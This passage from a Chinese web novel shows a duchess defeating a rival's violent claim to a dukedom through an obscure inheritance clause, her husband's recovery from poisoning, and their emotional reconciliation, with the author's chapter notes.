艾米丽简明扼要地诵读条例,繁复的条款总结成一句话就是——斯宾塞爵位可由女性继承。 这也是索菲娅享有继承权的依据。 然而……文森特目光落在被重点标注的那一条上,彻底愣住。 同样反应过来的还有索菲娅。 索菲娅笑容僵住,一直胸有成竹的神情彻底崩裂。 耳边传来艾米丽的解读:“女性里,不仅包括女儿。第二十条规定,除非自愿放弃,否则公爵配偶同样享有继承权,且优先级高于一切儿女。” 艾米丽合上书籍,“所以,索菲娅夫人——” 她看向伊莎贝尔:“身为公爵合法配偶,哪怕婚姻只持续一天,诺曼女士的继承权仍然高于你。” 伊莎贝尔举起铁剑,瞳孔倒映着刀刃的锋芒。 举步维艰时,她在古董收藏室里看到玛丽格特的配剑。那一瞬间,她忽然发觉破局之法就藏在其中。 心里隐隐有了猜测,于是大胆求证。 斯宾塞原始继承法非常详细,是很少有人愿意细读的大部头文书。 此前,所有人都按照惯性思维,像索菲娅刚才说的那样,认为爵位不可能传给配偶,因为这意味着家族权柄外移。 的确,也许从前的家主正是出于这份私心,后续流传出来的斯宾塞精简继承法里省略了这一条。 以至于斯宾塞本家里,从没有配偶袭爵的先例,就连薇奥莱特夫人都不清楚原始继承法条例里有这么一条特殊规定。 伊莎贝尔也是看到那柄剑时,萌生了这个念头。 她想起初到查尔维斯时,听过的玛格丽特事迹。 一个本身就靠着强硬手段,以配偶身份夺得权位、还以自己的姓氏重新命名家族的女人,难道目光也局限在用限定的立法维护家族权力吗? 她难道预料不到,即便允许女儿袭爵,家族经过漫长的发展,最终还是会收缩得和其他限定男人继承的家族一样? 某种意义上讲,索菲娅很厉害,她是斯宾塞家族历史上第三个袭爵的女人,虽然现在还没有成功。 在她之前,袭爵的是两百年前,一位终生未嫁的斯宾塞小姐,后来爵位依旧传给了弟弟。 伊莎贝尔彻夜翻看斯宾塞家族历史。 她把自己代入玛格丽特的视角,试图去想,这位传奇女爵,想要传承的是一个简单的姓氏,还是……属于玛格丽特·斯宾塞的精神? 她应该明白,如果配偶拥有足够的野心和能力,却始终居于人下是什么滋味。她更明白,一个能被配偶夺取权力的家族,本身就存在严重的弱点,需要新的引领者。 也只有新的引领者出现,才能彻底改变家族的命运。 此后,引领者也会像玛格丽特一样,创造新的历史,将丈夫遗存的荣耀和新的家族一起延续,共生共存。 所以,代入玛格丽特的逻辑,推演她的心路历程之后,伊莎贝尔让艾米丽去原始条例里求证。 果然,那条被人为尘封在历史尘埃中的继承补充条款,就像玛格丽特留下的彩蛋。 时隔三百年,只静静等待一个真正理解她意志的人发现。 伊莎贝尔缓缓放下铁剑,看向索菲娅:“现在你明白了吗?继承斯宾塞荣耀的不是你。” 场上陷入死寂。 表亲们互相对视,从彼此眼里看到错愕。 文森特颤抖着擦掉冷汗,庆幸自己刚才没有冲动。 士兵茫然地站在原地,不知道自己应该做什么。 伊莎贝尔看向众人,目光睥睨:“各位,还不放下武器吗?” “我知道,你们是菲利普公爵府邸的亲卫,本该有大好前程,现在受人蒙蔽才强闯斯宾塞府。”伊莎贝尔微笑,“现在,你们是选择一意孤行,跟着索菲娅造反葬送前途,还是就此收手?” “如果选择后者,我会以公爵夫人、以及未来第一继承人的身份承诺,赦免你们的罪行。” 平淡柔和的话语极具煽动性。 本就是借调而来的士兵陷入摇摆。他们当然更愿意收手。贵族世界里,有什么比名正言顺更重要的呢? 现在看来,公爵夫人才是真正的继承人。 其中一个士兵率先扔掉剑,刚要开口投降,喉咙被利剑割穿,血液喷涌,随即软倒在地! “索菲娅夫人?!你怎么能……”士兵看着同伴倒在血泊里,惊恐大喊。 索菲娅扔掉染血的利剑,缓缓抬眸,笑容温婉,“想当逃兵?这就是下场。” “菲利普把你们交给我的时候,当然是连你们的把柄一起给我了。”她轻声笑,视线扫过士兵,“想保住家人孩子,想延续从前的荣耀,那就像效忠菲利普那样效忠我。” 划破的脸颊在往外流血,索菲娅似乎感觉不到疼痛,随手擦了擦伤口,鲜血让她整张脸显得诡谲艳丽,像神话故事里蛊惑人心的海妖。 “我的女婿是未来国王,我的女儿是未来王后,想想清楚,是助我袭爵,还是帮一个毫无根基、只会空口承诺的……公爵夫人?” 话音落下,这些被精心挑选出来的普通人士兵,很快就明白形势不由他们选择。 贵族世界的斗争充满血腥,而他们这些人,只是权贵的武器罢了。 看着士兵们脸上的神色,伊莎贝尔的心逐渐往下沉。 贝茨上尉和众士兵已经被俘虏,斯宾塞家的人太少,一旦真的动手,就彻底控制不住局势了。 维克托和艾米丽缓缓后退,拦在伊莎贝尔身前。 三个人像海上孤岛,四面八方全是汹涌的浪潮。 “你们想清楚!公爵夫人是第一继承人!如果不明不白地死在这里,谁也担不起责任!”维克托摸向腰间的火器,口中警告。 “第一继承人?”索菲娅满意地看着转变立场的士兵,“诸位,斯宾塞公爵已死,现在……就请杀了这位第一继承人。” 大门紧闭,将血腥掩盖其中。 她缓缓踩过刚刚被抹脖的士兵尸体,面带微笑:“这里发生的一切,都不会传出去。” “我……会为斯宾塞家族的今天,编好一个圆满的故事。” “奥黛丽,你对我有些误解。”她微笑,“斯宾塞的荣耀,于我而言……一文不值!我要的……只有权力,无论它被冠以什么姓氏,我都甘愿俯首。” 角落里,文森特等表亲们再次吓出一身冷汗。 谁也没料到形势再次发生逆转,他们庆幸自己没有倒戈! 索菲娅这个女人……简直超乎寻常的心狠手辣!轻飘飘就决定杀人灭口! 看着被乌泱泱的士兵包围的公爵夫人,文森特悄悄叹了口气,在胸口画十字。 现在除非上帝显灵,让公爵醒来,否则……唉! 此刻,被包围的伊莎贝尔无比冷静。 人群里,她和索菲娅对视,看见对方扬起笑容,缓缓挥手:“杀。” 最前面的士兵目睹同伴死去,痛苦与悲愤令他崩溃,他大喊着冲上前,只想快速结束这一切。 几乎同一时间,维克托抽出火器。 伊莎贝尔轻盈闪躲,并拉开艾米丽。 “砰——” 枪声炸响,嚎叫着的士兵血浆迸溅,倒在血泊里。 耳边是剧烈的心跳,维克托看着没来得及按动的扳机,愣住—— 所有人慢半拍,沿着射击轨迹,看向二楼—— 索菲娅脸色凝固,文森特等表亲们瞪大眼睛—— 背对着二楼的伊莎贝尔,看清敌人的神情,而后松开护住艾米丽的手,缓缓抬眸—— 陷入沉寂的空间里,高大的男人在众目睽睽之下缓步走下楼梯,昏暗的光线将剪影拖长。 他像是感受不到疼痛,手里仍然紧握着火器。巨大的后坐力使得手腕伤口裂开,鲜血一滴一滴落在沿路的台阶上。 白的地板,红的血,无比刺目。 可谁也没有注意他的伤,所有人在对上那双沉暗的黑眸,熟悉的恐惧便呼啸而来—— 在锡兰公国,没有人不知道,海因里希·斯宾塞在战场的传说。 尤其是服役的士兵们。 “公爵……斯宾塞公爵……没有死……”不知是谁从牙关里哆嗦地吐出一句话。 众士兵下意识后退,被冲动蒙蔽的神智重新回归…… 完了,彻底完了…… 他们刚刚在干什么? 他们……正试图杀害斯宾塞公爵夫人—— 作者有话说:忽略一切细节!别深究!只求大装特装!每个人都装得很充分! 不行了脖子痛鼠了,明天再修这章!大火爆炒,急得我,差点粘锅! 补丁一下,伊莎贝尔是有自救能力的哈,不可能束手无策的,她不是虎妞。今天写不完了嘿嘿,把海因先写醒吧! 第50章 黑色长靴踩在大理石上, 发出沉闷的回响,像敲在每个人的心脏上。 他脸色苍白如纸,浑身却透着熟悉的威压。 “公爵……公爵醒了!” 以贝茨上尉为首的斯宾塞士兵被反绑在角落里,看见昔日的长官苏醒,有人下意识抬头,眼底爆发希望的光芒,却被菲利普亲兵狠狠按了下去。 薇奥莱特夫人眼泪瞬间流了下来:“海因!” 维克托匆促低头,向来情绪内敛的助手先生,将金丝眼镜摘了下来,擦了擦眼角。 人群中央,伊莎贝尔握着玛格丽特的剑,维持着回头的姿势。 冰蓝色的眼睛里倒映着缓步而来的身影。 他同样在看她。 短暂对视的瞬间, 耳边只剩心跳。 “我来晚了。” 海因里希嗓音沙哑,接过她手里沉重的斯宾塞配剑,鲜血顺着光滑的刀刃滑落,滴入天鹅绒地毯,消失不见。 再次听见他的声音, 伊莎贝尔竟然有种不真实感。 大敌当前,她深吸一口气,将千言万语压下。 “医生说你刚醒,需要休息,怎么下来了?” 对视的瞬间,她迅速转换神情, 好像一切早有预料。 “如果我不下来,怎么知道有人竟敢闯进我斯宾塞府邸?”他默契地提高声线,不着痕迹地挡在伊莎贝尔身前。 “所以,请问各位,这是在做什么?” 他短促轻笑,缓缓扫视人群。 被目光波及的士兵们微微发抖,几乎握不住武器。 夫妻俩并肩而立,伊莎贝尔隐秘低头。 海因里希掩饰得很好,除了身边最近的人,谁也没有发现他拿着铁剑的手,隐隐颤抖。 几乎是同一时间,伊莎贝尔伸出手,悄悄从身后扶住海因里希。 察觉到助力,他没有抗拒。 面上不怒而威,实际上所有意志力都要用来抵抗血液里奔涌的情绪和肉|体的疼痛,不敢泄露半点脆弱。 否则,面前黑压压的狼群,会将他们彻底吞噬。 “海因……你不是病危了吗?怎么……”文森特瞪大眼睛,喃喃自语,整个人再次陷入晕眩。 形势又变了! 他比谁都清楚,军中服役过的士兵,对于海因里希的尊敬。再想靠语言煽动,逼他们动手杀了一位血统高贵、威名赫赫的公爵,几乎难如登天! 别说那些士兵了,就连文森特等表亲,在看到海因里希的那一刻,已经萌生退意。 他偷觑着索菲娅,暗暗摇头,无声地说:“算了……” 大势已去,最好的时机已经错过,擅长审时度势的人,现在就应该退下。 索菲娅没有看文森特,而是死死盯着海因里希,脸上虚伪的笑容彻底消失。 “海因。”她缓慢扯出一丝笑,眼底泛着诡谲的光,“你居然醒了……真是幸运啊。” “为什么幸运总是眷顾你们?”她似乎有些不解,声音却像是感叹。 海因里希如同巍峨的高山横亘在身前,难以逾越。 在他身后,象征着斯宾塞家族巨幅狮子旭日旗帜悬挂在墙上。 “千分之一的幸运,都降临在你的头上?到底……凭什么啊?” 她轻笑着,仰天呢喃,“有人告诉我,神圣永恒曜主平等博爱,可是我想问他,难道他的博爱只赐予血统高贵的……斯宾塞先生们?” 她笑得颤抖,低头时黝黑的眼瞳里燃烧着灼灼火光。 凭什么? 她筹谋了这么久,机关算尽,从烂泥里爬起来! 就差一步!距离那个位置……就差一步! 这一刻,心中恨意滔天,假面彻底撕毁! 耳边似乎有人在呐喊—— 是被驱逐出斯宾塞家的索菲娅!是跟着妓女母亲长大,受尽白眼和屈辱,挣扎着往上攀爬的索菲娅!是自愿以婚姻交换名利,而后亲手杀了丈夫,一步一步往上走的索菲娅! 离开公爵府那一天,猩红的狮子旭日旗帜成了记忆里最深刻长久的渴望!她发誓要得到它!不惜以一切代价! 而现在,只要杀了他,只要……跨过这座山! 索菲娅缓缓摸向身后亲兵的腰间——那里挂着一把上膛的火器。指腹抚过冰冷的金属枪管,指甲因用力而泛白。 “别动。” 海因里希的声音响起,清晰而冷冽。 他缓缓举起右手,枪口对准索菲娅。 伊莎贝尔没有错过索菲娅脸上的表情,“闹剧该结束了,别当孤注一掷的赌徒。” 她顿了顿,缓缓抬眸:“回头看看。” 索菲娅意识到了什么,猛然回头。 大厅正门突然被撞开,整齐的脚步声响起——女王亲卫穿着银白制服,举着王室旗帜鱼贯而入,队列尽头是一身墨绿制服的第一秘书洛娜。 她手中捧着烫金卷轴,目光扫过全场,最后落在海因里希身上,微微颔首:“奉女王陛下的旨意,守卫斯宾塞公爵府。” 她轻轻挥手:“上。” 银白制服士兵迅速解救出斯宾塞亲卫,再将菲利普家的士兵团团包围,偌大的厅堂水泄不通。 维克托终于松了口气,悄悄和伊莎贝尔对视一眼。 昨晚,他从后厨排水道爬出,避开索菲娅设下的眼线,去往奥古斯都圣殿,当然不止送信那么简单。 亲卫被缴械,索菲娅却从赌徒的狂态中走了出来,神情渐渐平静。 假如有百分之五十的胜算,那就足够倾尽所有搏一搏。 可如果像现在这样,彻底没有反败为胜的机会,那么她会迅速权衡利弊,选择重新戴上假面。 她盯着伊莎贝尔,忽然微笑:“奥黛丽,是我小看了你。” 对面这个年轻的姑娘,不仅反应迅速,甚至缜密到可怕的地步。 整个环节里,除了海因里希的醒来是意外,其他的一切,都在她的全盘掌控里。 从黎明时分,安排斯宾塞的亲卫拦在门外开始,多米诺骨牌开始坍塌。 后续老夫人的出面、伊莎贝尔利落杀鸡儆猴,再搬出尘封的继承法阻拦他们向前。所有人以为这只是无谓的抵抗。现在才知道,她根本没想靠着这点伎俩螳臂当车,而是在拖时间。 真正的救兵,是最后这张王牌——女王的亲卫。 短时间里,索菲娅已经彻底捋清了脉络。 确切来说,是伊莎贝尔先打出了“继承权”这张牌,“女王亲卫”才能成为王牌。 单出其中一张,索菲娅都输不了。 试想想,假如没有颠覆原有继承法的条例,即便有女王亲卫出面营救又有什么用?海因里希只有千分之一苏醒的机会,索菲娅照样是第一继承人。 如果没有女王派来的救兵,单有继承法,那更简单了。索菲娅之所以不在家里坐等海因里希去世,这么着急动手,本就是想先下手为强,以防生变。 所以,无论是颠覆性的继承法也好、海因里希醒了也罢……只要是计划外的危机,她都要通通扼杀。 可是…… 索菲娅扫了眼四周,银白制服的亲卫手持武器,将她包围在中央。 两张牌同时打出来,她失去了武力依仗,也因为继承权的丢失没有卷土重来的机会,这局游戏,宣告结束。 “你到底……怎么猜到的?”索菲娅望着伊莎贝尔,神情怪异。 她不是埃德蒙,不会冲动鲁莽,更擅长隐忍蛰伏。这盘棋局已经设计到了极致,胜利的希望近乎百分百,可偏偏被对方抓住了一丝的可能性反败为胜。 伊莎贝尔面容平静,淡淡道:“因为我了解你,代入过你的身份思考。” 索菲娅微眯起眼。 “渴望半生的权柄就在眼前,哪怕是踏着所有人的尸骨,也会伸手去抢。”冰蓝色的眼睛不闪不避,直视着对方,“换做是我,也会这么做。” 索菲娅彻底愣住。 昨夜,伊莎贝尔不仅揣摩了玛格丽特的心路历程,更仔细预判了索菲娅会采取什么样的手段。 从见到这个美艳而充满算计的女人开始,伊莎贝尔就敏锐地从她身上,嗅到了类似的气息。 假如这一世,她领到的是索菲娅的剧本,命运逼她低头,将她踩进泥里,伊莎贝尔很清楚自己会做什么。 就像意识到书里的剧情即将降临,她选择和奥黛丽交换。 斯宾塞家的金钱名利没那么诱人,还不如在诺曼家晒太阳来的舒服。可是如果命运非要试图操纵她们的人生,那她不介意与之对抗,给它点颜色瞧瞧。 索菲娅未尝不是如此。 所以,代入对方的身份,如果今天她站在对面,那么——上帝吝啬赐予的一切,她会亲手抢过来,不择手段。 索菲娅愣了许久,低声笑了起来,笑得发颤。 “奥黛丽,你比我自己还懂我,如果我们不是对手……” “但我们是。”伊莎贝尔打断,“所以……总有一个要输。” 她看向维克托,后者立刻带着贝茨上尉离开。 很快,士兵们押着伦纳德医生和偷换药瓶的内鬼仆人出来。 伦纳德医生满身狼狈,浑身看不出伤,但从他失神的眼睛和颤抖的身躯,不难看出经过了非人折磨。 该招认的都招了,维克托将证词递给第一秘书洛娜。 洛娜深深地看了眼对峙的两位女士,将手中卷轴展开:“索菲亚斯宾塞,涉嫌毒害公爵、非法拘禁、意图谋夺爵位……” “等等。” 一个苍老的声音从门口传来。 所有人循声望去,只见格兰芬大主教穿着深紫色教袍,缓步而来。身后跟着十数位教徒。 洛娜紧皱眉头,伊莎贝尔眸光微动。 对面,索菲娅勾起隐秘的笑,轻声道:“奥黛丽,不到最后,怎么能论输赢呢?” 大主教的声音适时响起:“秉承教皇的神谕,教徒索菲娅·斯宾塞贡献卓越,尊主特邀其前往圣匹斯堡,聆听教诲。” 洛娜:“格兰芬主教,索菲娅触犯公国律法,您不能带走她。” “律法?”大主教扫了眼地上的两具尸体,轻飘飘道,“不过是斯宾塞家族的内部冲突。” 洛娜皱眉,声音冷了下来:“您这要公然和女王作对?” “我无比尊敬女王陛下。”大主教伸出手,教徒将一封卷轴递上,“赦免索菲娅,也是女王的意思,请看。” 洛娜接过卷轴细看,脸色骤变。 “菲利普公爵向女王请求,将贵族赦免权……”她几乎是牙关里吐出的字,“自愿移交给索菲娅·斯宾塞。” 众人都愣住了。 伊莎贝尔和海因里希对视一眼,眸光微动。 锡兰公国有一个不成文的规定,王室贵族如果触犯律法,可以使用贵族赦免权,但只能有一次。 本质上,这份特权是为保证王室势力不因政治斗争被削弱。近百年来,王室一直处于平稳状态,所以几乎没有人动用过这项权力。 可是今天,菲利普公爵竟然用它隔空保住了索菲娅。 索菲娅似乎早有预料,她微笑地瞥了眼瑟缩在角落里的伦纳德医生,后者接触到视线,抖动得更加剧烈,“死了两个侍卫,写几份供词,怎么能给我定下这么严重的罪呢?” “只是第一局游戏而已,还定不了输赢。”她挺直脊背,看向伊莎贝尔,轻笑,“奥黛丽,你说呢?” 伊莎贝尔微笑:“我很欣赏你的自信。可是无论多少局,我都会像今天这样,让你一输再输。” 索菲娅笑容渐渐消失,“是吗?那就期待下次的相见,再会。” 说罢,提起裙摆,在大主教的庇护下,目不斜视地走出大厅。亲兵们面面相觑,最终跟着她退了出去。 洛娜神色复杂,向海因里希转达了女王的关怀,也带着士兵离开。 随着门扉合拢,大厅里的紧绷感骤然消散。 这一关,总算过去了。 薇奥莱特夫人踉跄着走过来,却在离海因里希一步远的地方停住,眼泪砸在地上。 “噢,我可怜的孩子……” 话音未落,海因里希的身体晃了晃,喉间溢出一声压抑的咳嗽,隐忍许久的鲜血喷涌而出—— 伊莎贝尔迅速扶住他,掌心触到他皮肤下的滚烫,心脏猛地一缩,“快!叫医生过来!” 她刚开口,海因里希突然攥住她的手腕,力道大得惊人。 他的眼底密布红血丝,呼吸急促,声音却很轻:“奥黛丽……” 伊莎贝尔低头,试图听清他的话,露出了脖子上刺目的勒痕。 海因里希瞳孔剧缩,用尽全身的力气,只是把她推开:“离我……远点……” “噗!”又吐出一口暗红色的血,他彻底失去意识,倒在她的怀里- 卧室里传来痛苦的吼声,持续整个白天。 伊莎贝尔和薇奥莱特一直守在门外,不敢离开。 房间里,海因里希再次被铁链捆绑着,这一次,是他自己要求的。 医生给他上药,他勉强睁开眼。 透过门缝,对上那双冰蓝色的眼睛。 “把门关上……”海因里希因剧烈的疼痛而颤抖着,“别让她看见我……” ——看见我如此狼狈的样子。 50-60 第51章 因为突发的状况,决定婚礼结束就回汉克郡的斯宾塞众人,在墨伦维克留了半个月。 在这期间,海因里希的状况有所好转。 根据医生的诊断, 他能够醒来,就代表生命无碍, 但是后续仍有一段非常痛苦的恢复期。 长久以来深入体内的毒素在断药后开始反扑, 只能依靠自身意志力抵抗。 治疗期间, 海因里希几乎没有下过楼,他把自己困在昏暗的房间里,除了医生, 谁也不让靠近。 半个月后, 医生宣布喜讯:“公爵先生意志力极其强悍, 恢复速度比我想象中要快得多!目前情况稳定, 可以恢复正常的生活。” 他顿了顿,欲言又止:“但是……他体内毒素我们暂且没有想到办法解决, 除非大胆地采用水蛭吸血。我无法保证他以后一定不会发病,所以……请务必保证自身安全。” 薇奥莱特在胸前画十字:“谢谢你, 医生。能够保住一条命,已经是上帝保佑。” 伊莎贝尔没有说话,透过门缝,她看见海因里希半靠在床头,白色睡袍领口敞开,因痛苦而撕扯出的伤口,渗着暗红的血。 她挪开视线,轻轻将门合拢,假装没有看见这一幕。 - 回到查尔维斯,伊莎贝尔亲自挑选医生专门照料海因里希。 庄园很大, 公爵先生总是不见踪影。 森林里受伤的动物喜欢躲起来舔毛。 伊莎贝尔尊重他的习惯,没有刻意去找,只是按时从医生记录的资料里查看他的恢复情况。 她可不会盲目听信医生的建议,给海因里希采用放血疗法,这么治下去,恐怕又得把他折腾死。 经过仔细查看,伊莎贝尔基本可以确认这是曼陀罗中毒。 西方医生对植物毒素认知有限,所以在初期没有察觉中毒的异状。 如果不是确定索菲娅是本地土著,伊莎贝尔都怀疑这女人也是穿来的。 为了埋藏这颗暗棋,她真是煞费苦心。居然能找到这种宅斗里的经典毒药。 曼陀罗说白了就是毒品的初始形态,也是导致中枢神经紊乱、出现幻觉狂躁症状的元凶。 幸好这还是轻量原始植物毒素,没有经过提纯,更好在海因里希身体强健,扛得住折腾,否则他后半辈子都要被它毁了。 伊莎贝尔叫来维克托,写好药方递给他:“维克托,按照我写的清单,把上面的东西都找来。” 维克托皱眉,面露难色:“公爵夫人,抱歉,我有些看不明白。” 伊莎贝尔抬眸。 “如果我没有理解错,甘草是汉克郡制作甘草糖的甜草吗?绿豆……您上面说的是饲料作物?老实说,我没见过这种豆类,只在西西弗里斯写的《东方游记》里看过,还有石菖蒲,是产自赫斯兰的造纸香蒲?” 维克托一口气提出疑问,这让伊莎贝尔忽然意识到一个严重的问题。 她根据《本草纲目》和《千金方》找出的东方药材,在西方很难搜集。 锡兰公国虽然类似前世的英法,但这个时空并没有征服全世界。 因为古老的东方大国不仅没有闭关锁国,反而从明朝开始探索海洋,逐渐成为盘踞一方的雄狮。 两个距离遥远的海上霸主都知道对方的存在,但彼此互不打扰,维持着和平状态。 蝴蝶煽动翅膀,这就导致有些后世已经传过来的东方植物,现在还没有;有的已经有了,例如石菖蒲,被游历东方的传教士带来,但被认为是召唤神秘力量的东方巫术草,类似的香蒲却不能用作替代。 维克托已经算高知人群,连他都没见过的东西,底下人更不知道,可是曼陀罗毒素又拖不得。 伊莎贝尔深呼吸,难得有点烦躁,忍不住在心里暗骂一群没见识的洋鬼子。 “每一个药材我都附上了图案,你去打听,有哪些船只去过东方,他们大概率会在黑市高价买卖东方货品。如果没有,就只能跟船运公司下订单,等待他们远渡重洋,帮我们从东方运过来。”伊莎贝尔语气果断,“总之,这关系到海因里希的寿命,必须找到。” 维克托点头:“是!” 虽然安排得很利落,但是伊莎贝尔清楚,去一趟东方那么难,船运公司大多只会运送丝绸瓷器,想找到草药,难如登天。 恐怕还是得用到最后的办法,花大价钱下订单,让船运公司专门跑一趟。但是这一来一回,两年都打不住。 只能寄希望于斯宾塞先祖,赐予后代一点幸运吧。 兴许是玛格丽特显灵,没过几天,维克托真的带来了好消息:“公爵夫人,您清单上的药材都找到了!” 伊莎贝尔皱眉:“全部?” “是的,全部。”维克托难掩兴奋,“实在太巧了,黑市刚好有这几样药材在出售。” 天底下哪有瞌睡送枕头的好事,还来得这么巧。 伊莎贝尔眸光微动,却并没有多说。 当务之急是给海因里希解毒,其他的以后再琢磨。 她接过药材,仔细做好标签,又写了一张单子:“吩咐厨房,按照清单炖药,一天三次,准时看着公爵喝下。” 维克托推了推眼镜,稀奇地打量好几遍。 自从目睹伊莎贝尔力挽狂澜的风采,他已经和艾米丽一样,养成了从不质疑公爵夫人决定的习惯。 即便清单上要求公爵每天喝下来历不明、散发着苦味、一看就令人崩溃的黑乎乎药汁。 一连几天,查尔维斯上空弥漫着东方神秘药草的怪味。 女仆们蒙着鼻子煎药,私底下怀疑公爵夫人是不是有了继承人的身份,想直接弄死公爵。 不过这话只敢在心里说说。 因为伊莎贝尔每天都过来查看,确认海因里希有没有因为太苦,偷偷倒掉。 好在公爵很老实,每次送出来的药碗都是空的。 女仆们感叹,公爵的恋爱脑也是没救了,连这种看起来像泡了三天三夜鞋底子的药汤也吨吨吨喝了。 伊莎贝尔当然看得出来大家颇有微词。 可那又怎么样?大权在握的人不需要向别人解释。 从墨伦维克回来以后,薇奥莱特夫人彻底将管家权交给伊莎贝尔。 仆人们因为被“软禁”的经历,都知道新任公爵夫人不是好拿捏的软柿子。主仆之间完全没有不听使唤的磨合期,个个乖顺得不像话。 像这种炖邪恶东方药汤的事,撸起袖子说干就干了。 连续喝了一个月的中药,伊莎贝尔确认海因里希已经好得差不多了。 查尔维斯很大,要想刻意躲开一个人,可以一个月都不见面。 但伊莎贝尔决定,是时候把这个缩头乌龟揪出来- 昏暗卧室里。 再次喝下苦得舌头失去知觉的药汤,海因里希靠在床上,平复呕吐的欲望。 他合上眼小憩。 这些天,他其实没有睡过好觉,一直昏昏沉沉,半梦半醒。 梦里,年幼的海因里希,跟在爷爷和父亲身后,向着玛格丽特雕像宣誓——以斯宾塞之名,传承玛格丽特荣光。 小小的孩子,不知道什么是斯宾塞的荣耀。他只知道要像爷爷和父亲一样,为家族奉献自己的全部。 一转眼,小海因长大,继承长辈遗志。 低头,却看见胸膛破开大洞,鲜血淋漓。 他倒在血泊里,巨幅狮子旭日旗将尸体吞噬,彻底完成奉献。 “咚咚——” 平稳的敲门声响起,伴随着拧动门把手的动静。 海因里希睡眠很浅,几乎同一时间就睁开了眼睛。 “谁?” 黑暗里,伊莎贝尔拎着煤油灯走进。 光源照亮昏暗的房间。 看见是她,男人猛然偏开头,声音嘶哑得像被砂纸磨过:“我已经喝过药了,你来做什么?” 伊莎贝尔拎着灯:“看看你。” 海因里希撇开视线,似乎觉得那抹光亮很刺眼:“不用,你出去吧。” 伊莎贝尔的视线扫过他手腕因为反复摩擦而糜烂的伤口,又看向床脚的铁链,径直走上前。 海因里希迅速提高声线:“我说了,请你出去!” 伊莎贝尔没动,她又往前走了两步,灯光落在她裙摆上。 海因里希立刻从床上起身,远远避开她。 伊莎贝尔继续往前走,一步,两步。 地毯吸走了脚步声,她缓慢而坚定地靠近。 “别过来!”海因里希开始后退,“我让你出去!听不明白吗?!” 他的后背抵住冰冷的墙壁,退无可退。 终于,他嘶吼着,像发怒的凶兽,试图以此吓退她:“滚出去!离我远远的!” 灯光下,伊莎贝尔安静地看着他,始终没有后退。 海因里希喘着粗气,胸口剧烈起伏,迎着对方平静的视线,像是力气终于耗尽。 他垂着头,黑发遮住眼睛,嗓音嘶哑:“别靠近我,拜托了……” 伊莎贝尔停在他面前,蹲下身。 她的视线与他平齐,能清晰地看到他眼底的红血丝,以及那层薄薄的、快要溢出来的水光。 “海因,你的毒已经解了。”她说,“现在你很清醒,就算不清醒,在有防备的状态下,我能够自保。” “谁知道这样的清醒能维持多久?”海因里希笑了,笑声比哭还难听,“你到底明不明白,我是个疯子!会在梦里掐死牧师,新婚之夜差点杀死自己的妻子……” 他猛地拽开睡袍,露出胸口纵横交错的旧疤——有战场的刀伤,有自己失控时划的口子,“你看!这些都是我疯癫的证据!斯宾塞家的继承人,是个连自己都控制不住的废物!” “我会控制不住的!我控制不住的……我差点……”他声音低了下去,浑身颤抖,“我差点……掐死了你……” “算我求你了……”他嗓音干涩,“奥黛丽,别靠近我。” 伊莎贝尔凝望着他,轻轻伸出手,穿过他汗湿的发丝,将他的头按在自己肩上。 海因里希浑身一僵。 “你不会再伤害我,你不是疯子,不是怪物。”伊莎贝尔的声音很轻,带着体温,“你是答应过我,要一起并肩同行的搭档。” 她的肩膀很轻,却带着一种奇异的安定感,像暴风雨中唯一不动的锚。 “海因里希,站起来,和我一起走下去。” 灯光闪烁,冰蓝色的眼睛像沉静的深海,比价值连城的亚特兰蒂斯蓝宝石还要美丽。 海因里希别过头,肩膀剧烈地抖动着,却没有发出声音。 噩梦在脑海里闪烁。 是八岁那年骑马摔断肋骨,他咬着牙说不疼。沉默寡言的父亲为他治伤。那天,查尔维斯乱成一团,人群里,小海因等了很久,没有看见属于他的母亲。 是十五岁那年被辱骂是母亲带来的野种,是宴会厅的角落里,他看着母亲和教父并肩而立的背影,母亲的侧脸带着他从未见过的笑。 是十八岁那年,他看见爷爷和父亲倒在血泊里,母亲举着枪,对着自己的太阳xue ,笑中带泪:“我杀了路德维希……我解脱了……” 是空荡的家族大厅,叔叔乔伊斯的尸体悬在房梁上,弟弟埃德蒙指着他尖叫:“是你杀了他!你这个怪物!” 是袭爵那天,他看着曾经无比敬仰的教父,为他加冕,用那双沾满鲜血的手。 是日复一日的痛苦折磨之下,他迎来一束光。却在新婚之夜,差点让她湮灭。 最难熬的时刻,他想过,就这么结束毫无意义的一生吧。 可是有人握着他的手,帮他解开困住四肢的铁链,轻声说:“很疼吧……好好睡一觉。” “我希望你醒来……海因里希。” “可是如果你不愿意,也没关系,我会替你走下去……” 那些声音响在耳畔。 梦里,他仿佛回到了小时候。 医生帮他包扎伤口,说他很坚强,是个不流泪的小英雄。 一滴泪水砸在深色的地毯上,洇出深色的水痕。 再一滴,落在她的掌心。 她抱住海因里希,又似乎是透过时空,抱住了那个不敢流泪的五岁小孩。 那一刻,所有的防备瞬间坍塌。 肩膀剧烈颤抖,他曾经极力压抑着,不敢泄露半点的脆弱,化为无声的呜咽。 活下去吧。 不能让她一个人深陷在查尔维斯的牢笼里。 他必须活下去,站起来,站在她的身边。 伊莎贝尔安静等待着情绪宣泄的结束。 他流露的脆弱,很短暂。 很快,窗帘被拉开,阳光洒进昏暗的房间。 伊莎贝尔站起身:“海因里希,今天是个好天气。” 海因里希迟疑着抬头,脸上干燥一片,似乎刚才的一切都是错觉。 高大的男人被她拉着站起来。 阳光弥漫,落在两人交握的手上,将手腕的红痕,连同他无数的旧疤,都镀上了一层淡淡的金光。 海因里希没有看窗外,只是定定看着她。 许久不见天日的皮肤无比苍白,衬得他瞳孔越发黝黑深邃,像哥特里来自地底的吸血鬼。 停顿许久,他缓缓伸出手,修长的指节碰触到一缕阳光。 温暖、干燥,像新的人生。 他的瞳孔倒映着伊莎贝尔的脸。 另一只手,紧紧握住她的,像是握住了那道阳光。 前半生,他被虚无的奉献吞噬。此后,他将拥有新的信仰。 微风轻轻吹拂发丝,海因里希闭上眼,心里默念她的名字—— 作者有话说:信仰老婆教,阿门。 下一章转场妹妹 文中架空背景全靠我编!东方就是巨龙!之后一家四口定个去东方旅游的番外。 第52章 九月, 肯特郡开始入秋。 锡兰的天气常年温和,四季并不分明,所谓的秋天也只是比夏天更凉爽一些, 但这足以成为有钱太太们准备新一季衣服的理由。 不过,新晋太太奥黛丽女士,此刻却没有兴趣参与长辈们热火朝天的讨论里,即便这曾经是她最喜欢的活动之一。 温斯顿庄园, 女士们齐聚花厅。 成衣店送来最新款的裙子和饰品,安娜姨妈正在挑选装扮帽子的蕾丝。 “甜心,打起精神来,快帮姨妈看看,是粉色的漂亮,还是绿色的漂亮?”安娜看向抱着小狗发呆的奥黛丽。 